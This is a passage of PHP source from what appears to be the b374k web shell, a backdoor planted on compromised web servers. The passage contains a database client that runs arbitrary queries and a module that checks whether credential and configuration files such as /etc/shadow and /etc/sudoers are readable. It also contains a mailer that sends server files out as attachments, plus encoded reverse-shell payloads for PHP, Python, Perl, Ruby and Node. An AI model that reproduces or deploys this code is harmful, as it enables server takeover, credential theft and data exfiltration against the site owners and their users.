$sqluser, $sqlpass); } elseif($sqltype == \'pgsql\'){ $hosts = explode(":", $sqlhost); if(count($hosts)==2){ $host_str = "host=".$hosts[0]." port=".$hosts[1]; } else $host_str = "host=".$sqlhost; if(function_exists(\'pg_connect\')) return @pg_connect("$host_str user=$sqluser password=$sqlpass"); } elseif($sqltype == \'oracle\'){ if(function_exists(\'oci_connect\')) return @oci_connect($sqluser, $sqlpass, $sqlhost); } elseif($sqltype == \'sqlite3\'){ if(class_exists(\'SQLite3\')) if(!empty($sqlhost)) return new SQLite3($sqlhost); else return false; } elseif($sqltype == \'sqlite\'){ if(function_exists(\'sqlite_open\')) return @sqlite_open($sqlhost); } elseif($sqltype == \'odbc\'){ if(function_exists(\'odbc_connect\')) return @odbc_connect($sqlhost, $sqluser, $sqlpass); } elseif($sqltype == \'pdo\'){ if(class_exists(\'PDO\')) if(!empty($sqlhost)) return new PDO($sqlhost, $sqluser, $sqlpass); else return false; } return false; } } if(!function_exists(\'sql_query\')){ function sql_query($sqltype, $query, $con){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $con->query($query); elseif(function_exists(\'mysql_query\')) return mysql_query($query); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_query\')) return sqlsrv_query($con,$query); elseif(function_exists(\'mssql_query\')) return mssql_query($query); } elseif($sqltype == \'pgsql\') return pg_query($query); elseif($sqltype == \'oracle\') return oci_execute(oci_parse($con, $query)); elseif($sqltype == \'sqlite3\') return $con->query($query); elseif($sqltype == \'sqlite\') return sqlite_query($con, $query); elseif($sqltype == \'odbc\') return odbc_exec($con, $query); elseif($sqltype == \'pdo\') return $con->query($query); } } if(!function_exists(\'sql_num_rows\')){ function sql_num_rows($sqltype,$result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->mysqli_num_rows; elseif(function_exists(\'mysql_num_rows\')) return mysql_num_rows($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_rows\')) return sqlsrv_num_rows($result); elseif(function_exists(\'mssql_num_rows\')) return mssql_num_rows($result); } elseif($sqltype == \'pgsql\') return pg_num_rows($result); elseif($sqltype == \'oracle\') return oci_num_rows($result); elseif($sqltype == \'sqlite3\'){ $metadata = $result->fetchArray(); if(is_array($metadata)) return $metadata[\'count\']; } elseif($sqltype == \'sqlite\') return sqlite_num_rows($result); elseif($sqltype == \'odbc\') return odbc_num_rows($result); elseif($sqltype == \'pdo\') return $result->rowCount(); } } if(!function_exists(\'sql_num_fields\')){ function sql_num_fields($sqltype, $result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->field_count; elseif(function_exists(\'mysql_num_fields\')) return mysql_num_fields($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_num_fields\')) return sqlsrv_num_fields($result); elseif(function_exists(\'mssql_num_fields\')) return mssql_num_fields($result); } elseif($sqltype == \'pgsql\') return pg_num_fields($result); elseif($sqltype == \'oracle\') return oci_num_fields($result); elseif($sqltype == \'sqlite3\') return $result->numColumns(); elseif($sqltype == \'sqlite\') return sqlite_num_fields($result); elseif($sqltype == \'odbc\') return odbc_num_fields($result); elseif($sqltype == \'pdo\') return $result->columnCount(); } } if(!function_exists(\'sql_field_name\')){ function sql_field_name($sqltype,$result,$i){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) { $z=$result->fetch_field();return $z->name;} elseif(function_exists(\'mysql_field_name\')) return mysql_field_name($result,$i); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_field_metadata\')){ $metadata = sqlsrv_field_metadata($result); if(is_array($metadata)){ $metadata=$metadata[$i]; } if(is_array($metadata)) return $metadata[\'Name\']; } elseif(function_exists(\'mssql_field_name\')) return mssql_field_name($result,$i); } elseif($sqltype == \'pgsql\') return pg_field_name($result,$i); elseif($sqltype == \'oracle\') return oci_field_name($result,$i+1); elseif($sqltype == \'sqlite3\') return $result->columnName($i); elseif($sqltype == \'sqlite\') return sqlite_field_name($result,$i); elseif($sqltype == \'odbc\') return odbc_field_name($result,$i+1); elseif($sqltype == \'pdo\'){ $res = $result->getColumnMeta($i); return $res[\'name\']; } } } if(!function_exists(\'sql_fetch_data\')){ function sql_fetch_data($sqltype,$result){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli_result\')) return $result->fetch_row(); elseif(function_exists(\'mysql_fetch_row\')) return mysql_fetch_row($result); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_fetch_array\')) return sqlsrv_fetch_array($result,1); elseif(function_exists(\'mssql_fetch_row\')) return mssql_fetch_row($result); } elseif($sqltype == \'pgsql\') return pg_fetch_row($result); elseif($sqltype == \'oracle\') return oci_fetch_row($result); elseif($sqltype == \'sqlite3\') return $result->fetchArray(1); elseif($sqltype == \'sqlite\') return sqlite_fetch_array($result,1); elseif($sqltype == \'odbc\') return odbc_fetch_array($result); elseif($sqltype == \'pdo\') return $result->fetch(2); } } if(!function_exists(\'sql_close\')){ function sql_close($sqltype,$con){ if($sqltype == \'mysql\'){ if(class_exists(\'mysqli\')) return $con->close(); elseif(function_exists(\'mysql_close\')) return mysql_close($con); } elseif($sqltype == \'mssql\'){ if(function_exists(\'sqlsrv_close\')) return sqlsrv_close($con); elseif(function_exists(\'mssql_close\')) return mssql_close($con); } elseif($sqltype == \'pgsql\') return pg_close($con); elseif($sqltype == \'oracle\') return oci_close($con); elseif($sqltype == \'sqlite3\') return $con->close(); elseif($sqltype == \'sqlite\') return sqlite_close($con); elseif($sqltype == \'odbc\') return odbc_close($con); elseif($sqltype == \'pdo\') return $con = null; } } if(!function_exists(\'sql_get_supported\')){ function sql_get_supported(){ $db_supported = array(); if(function_exists("mysql_connect")) $db_supported[] = \'mysql\'; if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $db_supported[] = \'mssql\'; if(function_exists("pg_connect")) $db_supported[] = \'pgsql\'; if(function_exists("oci_connect")) $db_supported[] = \'oracle\'; if(function_exists("sqlite_open")) $db_supported[] = \'sqlite\'; if(class_exists("SQLite3")) $db_supported[] = \'sqlite3\'; if(function_exists("odbc_connect")) $db_supported[] = \'odbc\'; if(class_exists("PDO")) $db_supported[] = \'pdo\'; return implode(",", $db_supported); } } if(isset($p[\'dbGetSupported\'])){ $res = sql_get_supported(); if(empty($res)) $res = "error"; output($res); } elseif(isset($p[\'dbType\'])&&isset($p[\'dbHost\'])&&isset($p[\'dbUser\'])&&isset($p[\'dbPass\'])&&isset($p[\'dbPort\'])){ $type = $p[\'dbType\']; $host = $p[\'dbHost\']; $user = $p[\'dbUser\']; $pass = $p[\'dbPass\']; $port = $p[\'dbPort\']; $con = sql_connect($type ,$host , $user , $pass); $res = ""; if($con!==false){ if(isset($p[\'dbQuery\'])){ $query = $p[\'dbQuery\']; $pagination = ""; if((isset($p[\'dbDB\']))&&(isset($p[\'dbTable\']))){ $db = trim($p[\'dbDB\']); $table = trim($p[\'dbTable\']); $start = (int) (isset($p[\'dbStart\']))? trim($p[\'dbStart\']):0; $limit = (int) (isset($p[\'dbLimit\']))? trim($p[\'dbLimit\']):100; if($type==\'mysql\'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$start.",".$limit.";"; } elseif($type==\'mssql\'){ $query = "SELECT TOP ".$limit." * FROM ".$db."..".$table.";"; } elseif($type==\'pgsql\'){ $query = "SELECT * FROM ".$db.".".$table." LIMIT ".$limit." OFFSET ".$start.";"; } elseif($type==\'oracle\'){ $limit = $start + $limit; $query = "SELECT * FROM ".$db.".".$table." WHERE ROWNUM BETWEEN ".$start." AND ".$limit.";"; } elseif($type==\'sqlite\' || $type==\'sqlite3\'){ $query = "SELECT * FROM ".$table." LIMIT ".$start.",".$limit.";"; } else $query = ""; $pagination = "Limit <input type=\'text\' id=\'dbLimit\' value=\'".html_safe($limit)."\' style=\'width:50px;\'> <span class=\'button\' onclick=\\"db_pagination(\'prev\');\\">prev</span> <span class=\'button\' onclick=\\"db_pagination(\'next\');\\">next</span> <input type=\'hidden\' id=\'dbDB\' value=\'".html_safe($db)."\'> <input type=\'hidden\' id=\'dbTable\' value=\'".html_safe($table)."\'> <input type=\'hidden\' id=\'dbStart\' value=\'".html_safe($start)."\'> "; } $querys = explode(";", $query); foreach($querys as $query){ if(trim($query) != ""){ $query_query = sql_query($type, $query, $con); if($query_query!=false){ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class=\'strong\'>[</span> ok <span class=\'strong\'>]</span></p>"; if(!empty($pagination)){ $res .= "<p>".$pagination."</p>"; } if(!is_bool($query_query)){ $res .= "<table class=\'border dataView sortable tblResult\'><tr>"; for($i = 0; $i < sql_num_fields($type, $query_query); $i++) $res .= "<th>".html_safe(sql_field_name($type, $query_query, $i))."</th>"; $res .= "</tr>"; while($rows = sql_fetch_data($type, $query_query)){ $res .= "<tr>"; foreach($rows as $r){ if(empty($r)) $r = " "; $res .= "<td>".html_safe($r)."</td>"; } $res .= "</tr>"; } $res .= "</table>"; } } else{ $res .= "<p>".html_safe($query).";&nbsp;&nbsp;&nbsp;<span class=\'strong\'>[</span> error <span class=\'strong\'>]</span></p>"; } } } } else{ if(($type!=\'pdo\') && ($type!=\'odbc\')){ if($type==\'mysql\') $showdb = "SHOW DATABASES"; elseif($type==\'mssql\') $showdb = "SELECT name FROM master..sysdatabases"; elseif($type==\'pgsql\') $showdb = "SELECT schema_name FROM information_schema.schemata"; elseif($type==\'oracle\') $showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; elseif(($type==\'sqlite3\') || ($type==\'sqlite\')) $showdb = "SELECT \\"".$host."\\""; else $showdb = "SHOW DATABASES"; $query_db = sql_query($type, $showdb, $con); if($query_db!=false) { while($db_arr = sql_fetch_data($type, $query_db)){ foreach($db_arr as $db){ if($type==\'mysql\') $showtbl = "SHOW TABLES FROM ".$db; elseif($type==\'mssql\') $showtbl = "SELECT name FROM ".$db."..sysobjects WHERE xtype = \'U\'"; elseif($type==\'pgsql\') $showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema=\'".$db."\'"; elseif($type==\'oracle\') $showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=\'".$db."\'"; elseif(($type==\'sqlite3\') || ($type==\'sqlite\')) $showtbl = "SELECT name FROM sqlite_master WHERE type=\'table\'"; else $showtbl = ""; $res .= "<p class=\'boxtitle boxNav\' style=\'padding:8px 32px;margin-bottom:4px;\'>".$db."</p><table class=\'border\' style=\'display:none;margin:8px 0;\'>"; $query_table = sql_query($type, $showtbl, $con); if($query_table!=false){ while($tables_arr = sql_fetch_data($type, $query_table)){ foreach($tables_arr as $table) $res .= "<tr><td class=\'dbTable borderbottom\' style=\'cursor:pointer;\'>".$table."</td></tr>"; } } $res .= "</table>"; } } } } } } if(!empty($res)) output($res); output(\'error\'); } ?><?php $GLOBALS[\'module\'][\'info\'][\'id\'] = "info"; $GLOBALS[\'module\'][\'info\'][\'title\'] = "Info"; $GLOBALS[\'module\'][\'info\'][\'js_ontabselected\'] = ""; $GLOBALS[\'module\'][\'info\'][\'content\'] = "<div class=\'border infoResult\'></div>"; if(!function_exists(\'info_getinfo\')){ function info_getinfo(){ $res = ""; $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_server\');\\" style=\'margin-bottom:8px;\'>Server Info</p>"; $res .= "<div id=\'info_server\' style=\'margin-bottom:8px;display:none;\'><table class=\'dataView\'>"; if(is_win()){ foreach (range("A", "Z") as $letter){ if(is_readable($letter.":\\\\")){ $drive = $letter.":"; $res .= "<tr><td>drive ".$drive."</td><td>".format_bit(@disk_free_space($drive))." free of ".format_bit(@disk_total_space($drive))."</td></tr>"; } } } else $res .= "<tr><td>root partition</td><td>".format_bit(@disk_free_space("/"))." free of ".format_bit(@disk_total_space("/"))."</td></tr>"; $res .= "<tr><td>php</td><td>".phpversion()."</td></tr>"; $access = array("python"=>"python -V", "perl"=>"perl -e \\"print \\$]\\"", "python"=>"python -V", "ruby"=>"ruby -v", "node"=>"node -v", "nodejs"=>"nodejs -v", "gcc"=>"gcc -dumpversion", "java"=>"java -version", "javac"=>"javac -version" ); foreach($access as $k=>$v){ $version = execute($v); $version = explode("\\n", $version); if($version[0]) $version = $version[0]; else $version = "?"; $res .= "<tr><td>".$k."</td><td>".$version."</td></tr>"; } if(!is_win()){ $interesting = array( "/etc/os-release", "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/issue.net", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/proc/version", "/etc/resolv.conf", "/etc/sysctl.conf", "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf", "/etc/ssh/sshd_config", "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf", " /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf", "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf", "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules"); foreach($interesting as $f){ if(@is_file($f) && @is_readable($f)) $res .= "<tr><td>".$f."</td><td><a data-path=\'".html_safe($f)."\' onclick=\'view_entry(this);\'>".$f." is readable</a></td></tr>"; } } $res .= "</table></div>"; if(!is_win()){ if($i_buff=trim(read_file("/proc/cpuinfo"))){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_cpu\');\\" style=\'margin-bottom:8px;\'>CPU Info</p>"; $res .= "<div class=\'info\' id=\'info_cpu\' style=\'margin-bottom:8px;display:none;\'>"; $i_buffs = explode("\\n\\n", $i_buff); foreach($i_buffs as $i_buffss){ $i_buffss = trim($i_buffss); if($i_buffss!=""){ $i_buffsss = explode("\\n", $i_buffss); $res .= "<table class=\'dataView\'>"; foreach($i_buffsss as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } } $res .= "</table>"; } } $res .= "</div>"; } if($i_buff=trim(read_file("/proc/meminfo"))){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_mem\');\\" style=\'margin-bottom:8px;\'>Memory Info</p>"; $i_buffs = explode("\\n", $i_buff); $res .= "<div class=\'info\' id=\'info_mem\' style=\'margin-bottom:8px;display:none;\'><table class=\'dataView\'>"; foreach($i_buffs as $i){ $i = trim($i); if($i!=""){ $ii = explode(":",$i); if(count($ii)==2) $res .= "<tr><td>".$ii[0]."</td><td>".$ii[1]."</td></tr>"; } else $res .= "</table><table class=\'dataView\'>"; } $res .= "</table></div>"; } if($i_buff=trim(read_file("/proc/partitions"))){ $i_buff = preg_replace("/\\ +/", " ", $i_buff); $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'info_part\');\\" style=\'margin-bottom:8px;\'>Partitions Info</p>"; $res .= "<div class=\'info\' id=\'info_part\' style=\'margin-bottom:8px;display:none;\'>"; $i_buffs = explode("\\n\\n", $i_buff); $res .= "<table class=\'dataView\'><tr>"; $i_head = explode(" ", $i_buffs[0]); foreach($i_head as $h) $res .= "<th>".$h."</th>"; $res .= "</tr>"; $i_buffss = explode("\\n", $i_buffs[1]); foreach($i_buffss as $i_b){ $i_row = explode(" ", trim($i_b)); $res .= "<tr>"; foreach($i_row as $r) $res .= "<td style=\'text-align:center;\'>".$r."</td>"; $res .= "</tr>"; } $res .= "</table>"; $res .= "</div>"; } } $phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES); foreach($phpinfo as $p=>$i){ $res .= "<p class=\'boxtitle\' onclick=\\"info_toggle(\'".$i."\');\\" style=\'margin-bottom:8px;\'>".$p."</p>"; ob_start(); eval("phpinfo(".$i.");"); $b = ob_get_contents(); ob_end_clean(); if(preg_match("/<body>(.*?)<\\/body>/is", $b, $r)){ $body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]); $body = str_replace("<table", "<table class=\'boxtbl\' ", $body); $body = preg_replace("/<tr class=\\"h\\">(.*?)<\\/tr>/", "", $body); $body = preg_replace("/<a href=\\"http:\\/\\/www.php.net\\/(.*?)<\\/a>/", "", $body); $body = preg_replace("/<a href=\\"http:\\/\\/www.zend.com\\/(.*?)<\\/a>/", "", $body); $res .= "<div class=\'info\' id=\'".$i."\' style=\'margin-bottom:8px;display:none;\'>".$body."</div>"; } } $res .= "<span class=\'button colSpan\' onclick=\\"info_refresh();\\" style=\'margin-bottom:8px;\'>refresh</span><div style=\'clear:both;\'></div>"; return $res; } } if(isset($p[\'infoRefresh\'])){ output(info_getinfo()); } ?><?php $GLOBALS[\'module\'][\'mail\'][\'id\'] = "mail"; $GLOBALS[\'module\'][\'mail\'][\'title\'] = "Mail"; $GLOBALS[\'module\'][\'mail\'][\'js_ontabselected\'] = "if(!portableMode) $(\'#mailFrom\').focus();"; $GLOBALS[\'module\'][\'mail\'][\'content\'] = " <table class=\'boxtbl\'> <thead> <tr><th colspan=\'2\'><p class=\'boxtitle\'>Mail</p></th></tr> </thead> <tbody id=\'mailTBody\'> <tr><td style=\'width:120px\'>From</td><td colspan=\'2\'><input type=\'text\' id=\'mailFrom\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> <tr><td>To</td><td><input type=\'text\' id=\'mailTo\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> <tr><td>Subject</td><td><input type=\'text\' id=\'mailSubject\' value=\'\' onkeydown=\\"trap_enter(event, \'mail_send\');\\"></td></tr> </tbody> <tfoot> <tr><td colspan=\'2\'><textarea id=\'mailContent\' style=\'height:140px;min-height:140px;\'></textarea></td></tr> <tr> <td colspan=\'2\'><span style=\'width:120px;\' class=\'button\' onclick=\\"mail_send();\\">send</span> <span style=\'width:120px;\' class=\'button\' onclick=\\"mail_attach();\\">attachment</span> </td> </tr> <tr><td colspan=\'2\'><span id=\'mailResult\'></span></td></tr> </tfoot> </table> "; if(!function_exists(\'send_email\')){ function send_email($from, $to, $subject, $msg, $attachment){ $headers = "MIME-Version: 1.0\\r\\n".$from; $rand = md5(time()); $headers .= "Content-Type: multipart/mixed; boundary=\\"".$rand."\\"\\r\\n\\r\\n"; $headers .= "--".$rand."\\r\\n"; $headers .= "Content-Type: text/html; charset=\\"UTF-8\\"\\r\\nContent-Transfer-Encoding: 8bit\\r\\n\\r\\n"; $headers .= $msg."\\r\\n\\r\\n"; if(count($attachment)>0){ foreach($attachment as $file){ if(is_file($file)){ $content = chunk_split(base64_encode(read_file($file))); $headers .= "--".$rand."\\r\\n"; $headers .= "Content-Type: application/octet-stream; name=\\"".basename($file)."\\"\\r\\n"; $headers .= "Content-Transfer-Encoding: base64\\r\\n"; $headers .= "Content-Disposition: attachment\\r\\n\\r\\n"; $headers .= $content."\\r\\n\\r\\n"; } } } $headers .= "--".$rand."--\\r\\n"; if(@mail($to, $subject, "", $headers)) return true; return false; } } if(isset($p[\'mailFrom\'])&&isset($p[\'mailTo\'])&&isset($p[\'mailSubject\'])&&isset($p[\'mailContent\'])){ $mailFrom = trim($p[\'mailFrom\']); $mailTo = trim($p[\'mailTo\']); $mailSubject = trim($p[\'mailSubject\']); $mailContent = trim($p[\'mailContent\']); $mailAttachment = trim($p[\'mailAttachment\']); $mailAttachment = (!empty($mailAttachment))? explode("{[|b374k|]}", $p[\'mailAttachment\']):array(); if(empty($mailTo)) output("Please specify at least one recipient"); if(!empty($mailFrom)){ $mailFrom = "From: ".$mailFrom."\\r\\nReply-To: ".$mailFrom."\\r\\n"; } foreach($mailAttachment as $file){ $file = trim($file); if(empty($file)) continue; if(!is_file($file)) output("No such file : ".$file); } if(send_email($mailFrom, $mailTo, $mailSubject, $mailContent, $mailAttachment)) output("Mail sent to ".html_safe($mailTo)); output("Failed to send mail"); } ?><?php $server_addr = isset($_SERVER[\'SERVER_ADDR\'])? $_SERVER[\'SERVER_ADDR\']:isset($_SERVER["HTTP_HOST"])?$_SERVER["HTTP_HOST"]:""; $remote_addr = isset($_SERVER[\'REMOTE_ADDR\'])? $_SERVER[\'REMOTE_ADDR\']:""; $default_port = 13123; $winbinary = (strtolower(substr(php_uname(),0,3))=="win")? "<option>executable</option>":""; $GLOBALS[\'resources\'][\'rs_php\'] = "7VRNj9s2ED3bv0JRBSyFKrZlFwiwLjeX9lggaAv0kN0KMkWtCEsiy6FqB9397x1+yB8bZzdIg15aGJbIGc6b4czT+/6tatT0m6gxRsH1fH4vTDNsZkx2883qzXdb/5xyraUuNFdSG9Hfk0W6ngI3hREdL1rRCeNMclOITrWCCVPU7QANQeM0MaW+5wYo36tWVpzEUZwFI/oTBjRfrd7galfSfmhbXPHDChoaYyAmjn798eef6N5w3a3f/ZLTq9vk3W8/3Fytgxtt6/lG9HNootcixtiOxq7+CBrettF1xGTfc2Z4ddujfypqwuTQGzKWmFKap39NJ4miwbTGDVYQ27dBONFXuH6c8hb4pfDleTi8X9x5iIMhvxuxSrZ1WLaOeuiZEbIv+F6AAXKlWG/aopZ6e5V6TFHRo9F2doJxzkxf5ynGGZKfWL1lESxKgtgXODMQFUnPI3wFWFK4n0sHFIzmZVeAZFscNXD9J9ckNkwhTxYz97uOZ4nKEqRHL90LY2zCMTRQRA7YI8hWrpiEPUEuGePKHgilotfIVu4wGwwb3BHkaDH0ZcdJmi2yVYr1xzvRu0In9U4Lw0nCsqSbYYfZDi84i29iCzfZNaJFp3pFaV3izFyIHVBth4FR7pTrkOb3RVca1pB4zqrbiLz//Rbuvk3nAumKt9Q69dGTpKoobv0ofbSAohKaoCdNWTMuvTuR9LQuZ3y0j0Aio0V3eutEuRva+cTRw0P0Cf8fA/rTaIO93K5HuAiT8b29MeZCls8+ynzSL+kKtKXUrJXAx3aMOzcRdFvgp612B5MKaKl1+YEs6I1fxEooHmexjtMsf2rcoXF5wejBlKZKS1ZIxXtM3mQIj50XyrmxUa+wy5qDHDSzN8R5HFl/yrlNi8yyOmWD8QvMFs+fyF88sXz2BAtOTzajh0Az+11zWdu2Pjz4lU+XpsepJboMPbR9DeWEpJ5Ah5wtahfB8xkqJX5uZWY18kBg0RdHHF0eyCpojfGVMzMInBxHGRqUiPRIyzOssaBLgKPvI1T2AuDyGcDly4CP5xw9Ie+49Nc63+dP9qG9jnKjWXvGH/Tdi6IV6iCKtRUtT9DGqQLv8T9q25erF3yResF/Vr3gknp9Sq/gf706OwEv6RV8nl7BV9IruKwG8K/pFXxtvYLP0at/LFJvb/4G"; $GLOBALS[\'resources\'][\'rs_python\'] = "rVRtb9owEP6c/IrUnYYtUlNoq010QUJtOlVbWwRM+9B2KDgHiQpOZDst/fc7JykwxNQPmxBJ7sV399w958ODVqFVa5rKFshnL381SSbdQy8xJtfdVmuemqSYcpEtW9OTT6dP1dNNl3mmjKfA18U0V5kArf1M+/oV/5l4AuObdAluHhDiJvYRw8zTCSwWVLCu69gzweYsH2Q5SCr80iUYqwIjmzgrzB9O14PQqkGpfepU7mqZ6ygwhZKe1fIqIlcQxZQ131QYbUu1zA1lHKTIYqCNwsyOPjeYW5YfCZNmsqo/nXmZ5jJawkFApCGocmaB4LN0ATKjmNhBO7bDwJISWJXtGofDm2BlQC3PB6N20Pgw+HnZa5zXVlSdl4PQiXeUel8+kqY2is5Yk3i9baGzkTAPLDTY7C8JpvZs56zkGPVavh2FVSkQz7R93DllPIYSGSmREVunAysBuam880jrUldHdSxShEQV6x1XCmcaKOAaIiUSSkT84NH7Xw/6scmIr/zZIppr63D99fZuGF70RyGrjmGgaR2hbl8emYSnOk4VnfK5yoqcthl787ENFMmOsbbh4EDG9G/zqt02IDCYpVLJP8W2iiiMF8m4RIjfFmMd2kruOohX0+gqQqliw1vu7ppj5EGSJhY9ByNeLJ1Ij7jzAEnAIzV/dutOzlkQdOwKBPP79qMLiy39yUbvJPjuWDvmh1VqED7uUyoNzZmrg2rNePWitdS/mlzfhuN6B/no7uLbZDQehv0bPILAjDVk+dp/dPd9Yp22j0yG4Y9R2L+8HPqYcadozZGhMaXkmJc/4ue225ovUqS6pGcoWOrhKkcsQODCcsvuw4Zl9mbgegFgJ7oh8L6Vehs0JeW9U90gXtcTmZQgDMTY8r3TX4/+vQBkvfR746x33t2ZkgXpIUGrOJQmVSP2ojx7D6X+V5T6v6DU7Dc="; $GLOBALS[\'resources\'][\'rs_perl\'] = "lZJhb9MwEIY/17/CZF6bSIG0DAmpJhVVmqFqa1PFHQhRiNL0WKylcRS7rKgrvx0ny2gEQoJ8sO5en56zHuXsmbOTpbPmuQP5N1xAmaEznCpVyKHj3HKV7tYvErF11hevX909nmgnAU+D4ZCJ5A4URURIl3wJdCFT14B9IUqFl344c/cKyi1dsIHbW5HFh8lq1KPNvQ5pvVem+Dk3KOJfzQr0Y+vc65Rbh5p27gUztvC9c+xcGfSIiHJvQRWlUGL9PY+3YPZUUvQsimT9GpPZ3cVlNJ37S7vLAu8qYsvQH89soqyHhw0H06pXvR2H79677sA6oA4pXFK1n/qfKepIUBVKFBWLBddRRdE0FkShf8P88WQS2gNN6ejXb/RMNR1vNmXEc5MU9nReTUTj+UfrtLGTcakg19MXrTBOEtBrPJtZ9WKN82yjloxlClmGhzgReQ6Jgs0qN+x+NScKyDFbTqZz23jT9Qz6FAQ3S9sYtRM/DJsEdWAPCdZOT+uTTEgwPYs+FuxXUbFbjea2Os20ahxXuE8ROiLI5Mnoyz+NkrTpBnXHXZ6DimIltK+0pYPE7m8uCW9dNya0QxK34lob+zdtZqNt1GWGRZ+Sxls7asRV0d/N/ZewWhMcKm2m/nuOSH8/AQ=="; $GLOBALS[\'resources\'][\'rs_ruby\'] = "tVb7b9M6FP7Z+SuMN0hzVxLGQ+h2N6vGU0ggqjG4QmQXtc5pYy11gu3QoW387fiVrqXt1ivd66p1es7n8/T52p07SSNFMmI8Af4di2b0I9jBhVK17CXJhKmiGcW0miajR08fn7nPQMC3hgnAoazoGajwWlAPVcGHUwiDIIcxlg09kwESoBrB8fHHZ5+/Dt4enbx6f/wuzqsZp0MJ8XSoaNEJp3LG+KV5TxmfzMKor0QDvfGwlBAAz51FAcPSOOlIJSJtOdV7gNgYv2IlxHDOpJJ9r9TagY8n5jCz0rg1EKvqqw7NGDbHbaRYFcCxSEU8kc2ok2RJ0iVZRiJsYT4N4aLRh46OX3+KS+ATVaTpfoD1MqIvD07Tn8k/Xx7c//P0Yr/75Go36dfpG65gAqLjEVFPB6vsGZmePB98APEdhI2TkG4dWQ1NZTykFGoHpHEtGFeY2DZgWUBZ4h6mFedAFeQZJxY3ggnj9sksHSivlO8FXljjlJoqsCUhnAPF0voZdwic15VQ+OTl8bv0XIGYHgw+7Kdhtjv4+0V2GB54vRYe2DskC3yf4eyv7N7dHGeHdnvodtIdm1c09wamsYuu2/TmPSYxifbIIVlCzQrdaVzq2CeglhMySwyZBAxCVOKZqEzypWlGziAT/d1kBe+rU8a0qKZ1mhKyAvEwY4fmOP4jYWshZpVp6e+ORiasG4aRM7zxRHt1cz0/VFXiR79TRhvRzse8QLcgXzChvWvLNwHNZd6k264jCw31ZcpmvRvLtC5pV6etE7oN/p+mBRtNvXkf11UNvFN2iSDRxSWrLlvzrDJsk+8RPZd7K76ugm3D/l22+L19FiBpc33vNfnN6QW4bMR1BjKmZbWQkUw5K4PWluvhErE9tAS5gdi0o1VqO9DSIrXf9k81x5oC+oAc4TrGsz8ejvF2Loory3pIbsFxyBEcQkvUhhAaa760jIaMu/+byFCb2Tzo1QullS1hSUdYWoJuISkbP1rDTMjLF6nIytBm4kHtoTU0g9rDi4zihUvk4US2d3bdmLCty29MsDmKdpBX3S5r/o1z8Mh10ym3nM4lp353m/8zsHbgkJ82E6WbM/1kJwz58XKTZ8FG8gs="; $GLOBALS[\'resources\'][\'rs_node\'] = "nVHLbsIwEDwbiX+IcokjIVsqSJVAnPoJPdKHjLNgq46T2g5UQvx7/QgU6ENVcrCyO7Ozu7OUZsK51s4p3UonujXhTU3X0/vZW3rHox0zmW3ZXmfLzMB7Jw3gggupqtfWNBysLUoSCYtE1uAuqT4syh6yzgCrL9GUORN4o22j4KpVSkVKryJAKU8p6FpqakXhEbnB/TSkVcxtGlOTmjkuMH3Ze5Ysy686XlcEPqA4KzKz3XngpBDCpBn+iAK9dWK5nJaH8QgFvvBkvxfhfngHj2B2YPCm09zJRmMbeciSvZEOcB6N7LvPw4oauIPqSedhp6z/0mZeOHqJI/0St4JYV0lNDNiuBlzeQk3niO+eV8yxfHKaJsMhLg+naWK0OH5XBmMGlv9Vdhr6WzVKryBKWgc6Or26ew7J43gEykJ26//s7L+98v8hORqs71Um8aKraZT77yHQbxdAP1iPBnqOBpqNhrl8/AQ="; $GLOBALS[\'resources\'][\'rs_gcc\'] = 